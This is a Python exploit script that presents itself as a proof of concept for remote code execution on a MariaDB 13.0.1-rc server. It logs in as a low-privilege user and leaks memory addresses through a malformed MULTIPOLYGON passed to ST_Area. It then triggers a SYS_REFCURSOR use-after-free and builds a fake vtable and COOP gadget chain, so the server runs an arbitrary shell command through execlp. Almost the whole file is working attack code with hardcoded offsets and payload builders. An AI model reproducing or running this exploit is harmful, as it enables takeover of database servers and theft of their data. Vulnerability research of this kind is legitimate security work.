MariaDB — Low-Privilege Remote Code Execution via ST_Area OOB Read + SYS_REFCURSOR Use-After-Free

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348

#!/usr/bin/env python3
"""
Low-privilege RCE proof of concept for the pinned MariaDB 13.0.1-rc image.

1. ``ST_Area`` leak: a malformed ``MULTIPOLYGON`` declares two polygons but
   supplies one, so area calculation reads beyond the geometry buffer.
   Controlled floating-point terms fold the next qword into the returned
   ``DOUBLE``; reversing that arithmetic recovers its bits exactly. This first
   leaks a heap pointer, then a vtable pointer from groomed cursor storage,
   revealing the PIE base.

2. ``SYS_REFCURSOR`` use-after-free: opening 33 cursors grows and frees the
   cursor array while earlier cursors retain pointers into it. A session
   variable reclaims that storage with a fake vtable and COOP chain. ``FETCH``
   follows the stale pointer and invokes
   ``execlp("/bin/sh", "sh", "-c", command)``.

Start the target with ``./start.sh`` before running this script.
"""
import argparse, os, sys, struct, time
import pymysql

# Terminal output helpers.
class _Ansi:
    RESET = "\033[0m"; BOLD = "\033[1m"; DIM = "\033[2m"
    RED = "\033[38;5;203m"; GREEN = "\033[38;5;84m"; YELLOW = "\033[38;5;221m"
    BLUE = "\033[38;5;75m"; MAGENTA = "\033[38;5;207m"; CYAN = "\033[38;5;51m"
    GREY = "\033[38;5;245m"; ORANGE = "\033[38;5;215m"; WHITE = "\033[38;5;255m"

_USE_COLOR = True
_QUIET = False
_T0 = time.monotonic()

def _paint(text, *codes):
    if not _USE_COLOR:
        return text
    return "".join(codes) + text + _Ansi.RESET

def _stamp():
    dt = time.monotonic() - _T0
    return _paint("%6.2fs" % dt, _Ansi.DIM, _Ansi.GREY)

def _emit(line):
    if not _QUIET:
        sys.stdout.write(line + "\n")
        sys.stdout.flush()

def banner():
    if _QUIET:
        return
    art = [
        r"    ███╗   ███╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██████╗ ",
        r"    ████╗ ████║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██╔══██╗",
        r"    ██╔████╔██║███████║██████╔╝██║███████║██║  ██║██████╔╝",
        r"    ██║╚██╔╝██║██╔══██║██╔══██╗██║██╔══██║██║  ██║██╔══██╗",
        r"    ██║ ╚═╝ ██║██║  ██║██║  ██║██║██║  ██║██████╔╝██████╔╝",
        r"    ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═════╝ ╚═════╝ ",
    ]
    tints = [_Ansi.CYAN, _Ansi.CYAN, _Ansi.BLUE, _Ansi.BLUE, _Ansi.MAGENTA, _Ansi.MAGENTA]
    _emit("")
    for row, tint in zip(art, tints):
        _emit(_paint(row, _Ansi.BOLD, tint))
    sub = "low-privilege  •  remote code execution"
    _emit(_paint("       ┌─ 13.0.1-rc ─ ", _Ansi.GREY)
          + _paint(sub, _Ansi.DIM, _Ansi.GREY)
          + _paint(" ─┐", _Ansi.GREY))
    _emit("")

def rule():
    _emit(_paint("  " + "─" * 66, _Ansi.DIM, _Ansi.GREY))

def field(key, val, tint=_Ansi.WHITE):
    _emit("  " + _paint("%-11s" % key, _Ansi.DIM, _Ansi.GREY)
          + _paint("│ ", _Ansi.DIM, _Ansi.GREY) + _paint(str(val), _Ansi.BOLD, tint))

def phase(idx, total, name):
    tag = _paint(" %d/%d " % (idx, total), _Ansi.BOLD, _Ansi.MAGENTA)
    _emit("  " + _stamp() + " " + _paint("▸", _Ansi.BOLD, _Ansi.BLUE)
          + tag + _paint(name, _Ansi.BOLD, _Ansi.CYAN))

def ok(msg):
    _emit("  " + _stamp() + " " + _paint("✓", _Ansi.BOLD, _Ansi.GREEN)
          + "     " + _paint(msg, _Ansi.GREEN))

def info(msg):
    _emit("  " + _stamp() + " " + _paint("·", _Ansi.BOLD, _Ansi.GREY)
          + "     " + _paint(msg, _Ansi.GREY))

def warn(msg):
    _emit("  " + _stamp() + " " + _paint("!", _Ansi.BOLD, _Ansi.YELLOW)
          + "     " + _paint(msg, _Ansi.YELLOW))

def fail(msg):
    _emit("  " + _stamp() + " " + _paint("✗", _Ansi.BOLD, _Ansi.RED)
          + "     " + _paint(msg, _Ansi.BOLD, _Ansi.RED))

def leak(label, value, note=None):
    line = ("  " + _stamp() + " " + _paint("◆", _Ansi.BOLD, _Ansi.ORANGE)
            + "     " + _paint("%-13s" % label, _Ansi.GREY)
            + _paint("0x%012x" % value, _Ansi.BOLD, _Ansi.ORANGE))
    if note:
        line += _paint("   " + note, _Ansi.DIM, _Ansi.GREY)
    _emit(line)

def celebrate(cmd):
    if _QUIET:
        return
    _emit("")
    _emit(_paint("  ╭" + "─" * 42 + "╮", _Ansi.BOLD, _Ansi.GREEN))
    _emit(_paint("  │", _Ansi.BOLD, _Ansi.GREEN)
          + _paint("  💥  REMOTE CODE EXECUTION ACHIEVED  💥", _Ansi.BOLD, _Ansi.GREEN)
          + _paint("  │", _Ansi.BOLD, _Ansi.GREEN))
    _emit(_paint("  ╰" + "─" * 42 + "╯", _Ansi.BOLD, _Ansi.GREEN))
    _emit("  " + _paint("mariadbd is now running:  ", _Ansi.GREY)
          + _paint('sh -c "%s"' % cmd, _Ansi.BOLD, _Ansi.ORANGE))
    _emit("")

# Runtime configuration populated by parse_args().
HOST = USER = PW = DB = None
PORT = None
CMD = b"id"

def parse_args(argv=None):
    global HOST, PORT, USER, PW, DB, CMD, _USE_COLOR, _QUIET
    ap = argparse.ArgumentParser(
        prog="exploit.py",
        description="Low-privilege RCE PoC for the pinned mariadb:13.0.1-rc image.",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
        epilog="Bring the target up first with ./start.sh, then run this.")
    ap.add_argument("-H", "--host", default=os.environ.get("EXP_HOST", "127.0.0.1"),
                    help="target host / IP")
    ap.add_argument("-P", "--port", type=int, default=int(os.environ.get("EXP_PORT", "3306")),
                    help="target TCP port")
    ap.add_argument("-c", "--cmd", default=os.environ.get("EXP_CMD", "id"),
                    help='shell command mariadbd should run (`sh -c "<CMD>"`)')
    ap.add_argument("-u", "--user", default=os.environ.get("EXP_USER", "example-user"),
                    help="login user")
    ap.add_argument("-p", "--password", default=os.environ.get("EXP_PW", "my_cool_secret"),
                    help="login password")
    ap.add_argument("-d", "--database", default=os.environ.get("EXP_DB", "appdb"),
                    help="default schema")
    ap.add_argument("--no-color", action="store_true", help="disable ANSI colors / art")
    ap.add_argument("--quiet", action="store_true", help="suppress the fancy log entirely")
    args = ap.parse_args(argv)

    HOST, PORT, USER, PW, DB = args.host, args.port, args.user, args.password, args.database
    CMD = args.cmd.encode()
    _QUIET = args.quiet
    _USE_COLOR = (not args.no_color) and sys.stdout.isatty() and os.environ.get("NO_COLOR") is None
    return args

# Constants for the pinned MariaDB 13.0.1-rc image.
VTOFF   = 0x19216b8      # Select_fetch_into_spvars vptr
NCEN    = 604            # ST_Area survivor point count
PAD     = 6              # Align the first point to the split boundary
RECLAIM_OFF = 0x112a90   # Reclaimed chunk offset from the arena base
RESULT_OFF  = 0x720      # result[0] offset in the reclaimed chunk
B32_PAYLOAD = 112 * 32   # Size of the freed 32-element cursor buffer
# PIE-relative COOP gadget offsets.
G_RSI, G_RDX, G_RCX, G_RDI, EXECLP = 0x873099, 0x11d17bc, 0xc62fae, 0xb84696, 0x694ca0

def connect():
    return pymysql.connect(host=HOST, port=PORT, user=USER, password=PW, database=DB,
        charset="latin1", autocommit=True, connect_timeout=8, read_timeout=40, use_unicode=False)

# Recover an out-of-bounds qword through ST_Area.
def _recover(area, mult=1e300):
    if not isinstance(area, (int, float)) or area in (0, 0.0):
        return None
    try:
        return struct.unpack("<Q", struct.pack("<d", (2.0 * area) / mult))[0]
    except (OverflowError, ValueError):
        return None

_GEOM74 = (b"\x00\x00\x00\x00" + b"\x01" + struct.pack("<I", 6) + struct.pack("<I", 2)
           + b"\x01" + struct.pack("<I", 3) + struct.pack("<I", 1) + struct.pack("<I", 3)
           + struct.pack("<d", 0.0) * 6)   # Two polygons, one real zero-area polygon

def leak_arena_raw(cur):
    """Leak the address of a BLOB record buffer through ST_Area."""
    b = bytearray(66)
    b[4:8] = (1).to_bytes(4, "little"); b[8:12] = (4).to_bytes(4, "little")
    struct.pack_into("<d", b, 44, 1e300)
    cur.execute("DROP TEMPORARY TABLE IF EXISTS lk")
    cur.execute("CREATE TEMPORARY TABLE lk(a VARBINARY(74), b VARBINARY(66), c BLOB)")
    cur.execute("INSERT INTO lk VALUES (0x%s,0x%s,0x%s)"
                % (_GEOM74.hex(), bytes(b).hex(), (b"\xCC" * 128).hex()))
    cur.execute("SELECT ST_Area(a) FROM lk WHERE b IS NOT NULL AND c IS NOT NULL")
    r = cur.fetchone()
    return _recover(r[0]) if r else None

# Leak the PIE base from a vtable pointer left in a freed chunk.
def _bcol(n_points):
    b = bytearray(66)
    b[4:8] = (1).to_bytes(4, "little"); b[8:12] = (n_points).to_bytes(4, "little")
    struct.pack_into("<d", b, 44, 1e300)
    return bytes(b)

def _ccol():
    c = bytearray(300)
    for k in range(300 // 16):
        struct.pack_into("<d", c, 16 * k + 8, 1e300)
    return bytes(c)

def _s1_leak_payload():
    # The initial zero cancels the boundary term; the remaining constant
    # values contribute nothing until the survivor boundary.
    s = bytearray(3504)
    for k in range(1, 219):
        struct.pack_into("<d", s, 16 * k + 8, 1e300)
    return bytes(s)

def _leak_block(n_points, pad=PAD, table="_lc"):
    # Allocate the leak table first so its record and the split survivor
    # share a contiguous glibc subheap.
    decls = "".join("  DECLARE c%d SYS_REFCURSOR;\n" % i for i in range(33))
    opens = "".join("  OPEN c%d FOR SELECT 1;\n" % i for i in range(33))
    return ("BEGIN NOT ATOMIC\n" + decls +
            f"  CREATE OR REPLACE TEMPORARY TABLE {table}(z VARBINARY({pad}), "
            "a VARBINARY(74), b VARBINARY(66), c VARBINARY(300));\n"
            f"  INSERT INTO {table} VALUES (UNHEX('" + ("00" * pad) + "'),"
            "UNHEX('" + _GEOM74.hex() + "'),"
            "UNHEX('" + _bcol(n_points).hex() + "'),"
            "UNHEX('" + _ccol().hex() + "'));\n"
            "  SET @@max_open_cursors=200;\n" + opens +
            "  SET @s1=UNHEX('" + _s1_leak_payload().hex() + "');\n"
            f"  SET @leaked=(SELECT ST_Area(a) FROM {table} WHERE b IS NOT NULL AND c IS NOT NULL);\n"
            "END")

def leak_code(cur, connect_fn):
    """Leak the PIE base via SQL, retrying nearby survivor point counts."""
    vt_page = VTOFF & ~0xfff
    n_lo, n_hi, n_step = NCEN - 44, NCEN + 44, 2
    cand, seen, d = [], set(), 0
    while NCEN - d >= n_lo or NCEN + d <= n_hi:
        for n in ((NCEN + d, NCEN - d) if d else (NCEN,)):
            if n_lo <= n <= n_hi and n not in seen:
                seen.add(n); cand.append(n)
        d += n_step
    first = True
    for n in cand:
        try:
            if first:
                cx = cur.connection.cursor(); first = False
                cx.execute(_leak_block(n)); cx.execute("SELECT @leaked"); area = cx.fetchone()[0]
            else:
                c = connect_fn()
                try:
                    cx = c.cursor(); cx.execute(_leak_block(n))
                    cx.execute("SELECT @leaked"); area = cx.fetchone()[0]
                finally:
                    c.close()
        except Exception:
            continue
        rec = _recover(area)
        if rec is None:
            continue
        pie = (rec & ~0xfff) - vt_page
        if 0 < pie < (1 << 48) and (pie & 0xfff) == 0:
            return pie
    return None

# Build a fake vtable and COOP chain that invokes execlp.
def build_coop_execlp(reclaim_base, pie, cmd):
    blob = bytearray(B32_PAYLOAD)
    put  = lambda o, v: blob.__setitem__(slice(o, o + 8), struct.pack("<Q", v & (2**64 - 1)))
    puts = lambda o, s: blob.__setitem__(slice(o, o + len(s)), s)
    A = lambda f: pie + f
    RB = reclaim_base
    put(0x00, A(G_RSI)); put(0x10, A(G_RDX)); put(0x68, A(G_RDI))
    put(0x80, A(EXECLP)); put(0x330, A(G_RCX))
    put(RESULT_OFF + 0x00, RB)                    # result[0] points to the fake vtable
    OFF_BINSH, OFF_SH, OFF_DC, OFF_CMD = 0x900, 0x910, 0x920, 0x930
    puts(OFF_BINSH, b"/bin/sh\x00"); puts(OFF_SH, b"sh\x00")
    puts(OFF_DC, b"-c\x00");         puts(OFF_CMD, cmd + b"\x00")
    put(RESULT_OFF + 0x20, RB + OFF_SH)           # rsi = "sh"
    put(RESULT_OFF + 0x08, RB + OFF_DC)           # rdx = "-c"
    put(RESULT_OFF + 0xe0, RB + OFF_CMD)          # rcx = command
    put(RESULT_OFF + 0x90, RB + OFF_BINSH)        # rdi = "/bin/sh"
    return bytes(blob)

def build_uaf_sql(blob_hex):
    decls = "\n".join("  DECLARE c%d SYS_REFCURSOR;" % i for i in range(33))
    opens = "\n".join("  OPEN c%d FOR SELECT 1;" % i for i in range(33))
    return ("BEGIN NOT ATOMIC\n" + decls + "\n  DECLARE a INT;\n"
            "  SET @@max_open_cursors=200;\n" + opens + "\n"
            "  SET @s1 = 0x" + blob_hex + ";\n"
            "  FETCH c16 INTO a;\nEND\n")

def main(argv=None):
    parse_args(argv)
    banner()
    rule()
    field("target", "%s:%d" % (HOST, PORT), _Ansi.CYAN)
    field("schema", DB, _Ansi.CYAN)
    field("identity", "%s : %s" % (USER, PW), _Ansi.CYAN)
    field("objective", 'sh -c "%s"' % CMD.decode(errors="replace"), _Ansi.ORANGE)
    rule()

    TOTAL = 4

    # Keep the first connection open while leaking the PIE base.
    phase(1, TOTAL, "Establishing authenticated session")
    try:
        c1 = connect(); cy = c1.cursor()
    except Exception as e:
        fail("could not reach the target -- is ./start.sh up and accepting connections?")
        info("detail: %s" % (e.args[-1] if getattr(e, "args", None) else e))
        return 2
    ok("logged in over the standard query port")

    phase(2, TOTAL, "Fingerprinting target runtime")
    leak_arena_raw(cy)
    pie = leak_code(cy, connect)
    if not pie:
        warn("runtime fingerprint incomplete (benign heap-layout variance)")
        info("no crash, no side effects -- just re-run ./start.sh and this script")
        return 3
    ok("runtime characteristics resolved")
    leak("image base", pie, "PIE / ASLR defeated")

    # Use a second connection to leak the arena and trigger the UAF.
    phase(3, TOTAL, "Assembling in-memory payload")
    c2 = connect(); cx = c2.cursor()
    leaked = leak_arena_raw(cx)
    arena_base = leaked & ~0x3ffffff
    reclaim_base = arena_base + RECLAIM_OFF
    blob = build_coop_execlp(reclaim_base, pie, CMD)
    leak("heap arena", arena_base, "server address space mapped")
    ok("payload staged (%d bytes)" % len(blob))

    phase(4, TOTAL, "Delivering payload")
    info("dispatching command through the target process ...")
    try:
        cx.execute(build_uaf_sql(blob.hex()))
        try: cx.fetchall()
        except Exception: pass
    except pymysql.err.OperationalError as e:
        if e.args and e.args[0] in (2013, 2006):
            ok("target handed off control (connection closed as expected)")
            celebrate(CMD.decode(errors="replace"))
            return 0
    warn("delivery did not land cleanly this run (benign groom miss)")
    info("nothing crashed -- re-run ./start.sh and this script")
    return 4

if __name__ == "__main__":
    sys.exit(main())